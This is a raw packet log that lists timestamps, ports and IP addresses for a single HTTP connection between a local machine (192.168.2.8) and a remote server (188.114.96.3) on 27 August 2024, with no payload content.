Aug 27, 2024 09:49:36.858892918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858910084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858922005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858932018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858939886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858943939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858956099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.858957052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.858985901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.914249897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.944766998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944783926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944797039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944858074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.944933891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944951057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944962978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944976091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944977999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.944988012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.944999933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945007086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945019007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945028067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945029974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945041895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945053101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945055962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945065022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945080042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945081949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945095062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945101976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945107937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945121050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945136070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945138931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945152044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945163965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945173979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945187092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945197105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945209980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945244074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945255995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945266962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945278883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945290089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945302963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945322990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945353031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945497990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945542097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945580959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945594072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945626020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945719004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945730925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945744038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945766926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945770025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945782900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945794106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945807934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945818901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945838928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945899010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945909977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945920944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945931911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945949078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945950031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945957899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945962906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945975065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.945983887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.945991993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.946024895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.946131945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.946249962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947137117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947186947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947197914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947284937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947292089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947303057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947314024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947326899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947329044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947340012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947351933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947355032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947362900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947379112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947380066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947391987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947403908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947412014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947416067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947427034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947438955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947453976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947493076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947504044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947530985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947597027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947607994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947634935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947668076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947680950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947710037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947727919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947741032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947751045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947770119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947782040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947792053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947810888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947823048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.947849035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.947999954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948012114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948023081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948035955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948048115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948052883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948060036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948074102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948132038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948153973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948164940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948177099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948188066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948189020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948201895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948210955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948214054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948235035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948277950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948296070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948311090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948323011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948348045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948410034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948421955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948452950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948510885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948564053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948600054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948714018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948725939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948736906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948750019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948769093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948791027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948792934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948885918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948903084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948915005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948920012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948925018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948932886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.948940039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.948961973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.949038029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949048042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949058056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949130058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.949192047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949203014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949213982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949225903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949232101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949237108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.949238062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949244022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949249029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.949328899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.949354887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035165071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035218000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035231113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035243034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035255909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035269022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035273075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035280943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035290003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035309076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035348892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035361052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035372972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035387039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035393953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035398960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035412073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035428047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035430908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035435915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035442114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035454035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035469055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035492897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035515070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035527945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035537958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035550117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035561085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035562992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035574913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035587072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035598040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035598993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035609961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035623074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035625935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035631895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035634995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035646915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035659075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035662889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035671949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035690069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035701036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035840034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035851955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035862923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035873890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035888910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035965919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035972118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.035978079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.035990000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036003113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036030054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.036052942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.036197901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036210060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036309958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.036314011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036325932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036336899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036349058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036360025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036372900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036374092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.036384106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036400080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.036408901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.036592007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.036693096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.037189960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.037199974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.037209988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.037223101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.037297964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.037318945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.037321091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.037329912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.037375927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038031101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038042068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038053036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038070917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038083076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038089037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038094997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038108110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038110018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038141966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038255930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038268089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038279057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038290977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038304090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038315058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038326025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038350105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038378954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038382053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038431883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038450003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038459063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038472891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038500071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038511038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038522005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038532019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038557053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038645029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038656950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038672924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038691998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038707972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038774014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038784981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038795948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038808107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038820982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038825989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038831949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038844109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038849115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038858891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038917065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.038959026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.038997889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039010048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039022923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039035082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039047003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039047003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039058924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039072990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039081097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039114952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039544106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039556026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039567947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039604902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039628983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039701939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039712906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039724112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039741039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039746046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039760113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039771080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039784908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039787054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039796114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039808989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039819002 CEST	80	49715	188.114.96.3	192.168.2.8
